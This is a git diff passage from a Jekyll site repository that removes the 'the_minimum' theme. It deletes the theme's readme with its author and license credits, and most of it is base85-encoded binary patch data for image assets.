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 P5Kt}n{{ppI6w3bx$415z diff --git a/assets/themes/the-minimum/readme.markdown b/assets/themes/the-minimum/readme.markdown deleted file mode 100644 index 6ee9b7b..0000000 --- a/assets/themes/the-minimum/readme.markdown +++ /dev/null @@ -1,34 +0,0 @@ -## Theme info - -Theme Name: the\_minimum -Description: A minimumlist theme for [jekyll](https://github.com/mojombo/jekyll).Theming is done on [Jekyll-Bootstrap](http://jekyllbootstrap.com/). -Author: Yuya Saito @ [\_layout](http://layouts-the.me/) -Version: 1.0 - -## About the \_minimum - -- Love minimalism? So do I. I've put some effort on typography(not the type face) so your reader won't need Readability to read your content. -- Design is simple so is the code behind it. You can easily customize it. -- Built with mobile first. -- Written with [LESS](http://lesscss.org/) so if you need to edit it, you should get [Codekit](http://incident57.com/codekit/). I did use this app to develop this theme. - -## About me - -I'm Yuya Saito who is a web designer/front-end developer from Tokyo, Japan. - -This is a Jekyll Bootstrap port of my theme [studiomohawk/jekyll-theme-the_minimum](https://github.com/studiomohawk/jekyll-theme-the_minimum). -If you watch or fork from it, you should do those here instead. - -## How to use it? - -There are 2 places you should go look. - -1. [Jekyll](https://github.com/mojombo/jekyll) / Jekyll repo page on Github -2. [Jekyll-Bootstrap](http://jekyllbootstrap.com/) / (Almost) complete how-to and bootstrap for Jekyll created by [Jade Dominguez](http://plusjade.com/) - -## Code I didn't write - -- [Jekyll-Bootstrap](http://jekyllbootstrap.com/) / [CC BY-NC-SA 3.0](http://creativecommons.org/licenses/by-nc-sa/3.0/) -- [Modernizr](http://www.modernizr.com/) / MIT/BSD license -- [Frameless](http://framelessgrid.com/) / [CC0](http://creativecommons.org/publicdomain/zero/1.0/) -- [HTML5 Boilerplate](http://html5boilerplate.com/): [The Unlicense](http://unlicense.org) (aka: Public Domain) \ No newline at end of file diff --git a/assets/themes/the-minimum/skin/100-90-5-monochrome.png b/assets/themes/the-minimum/skin/100-90-5-monochrome.png deleted file mode 100644 index ebcce339b9b0b394a41156d4be3095358425a786..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 22346 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 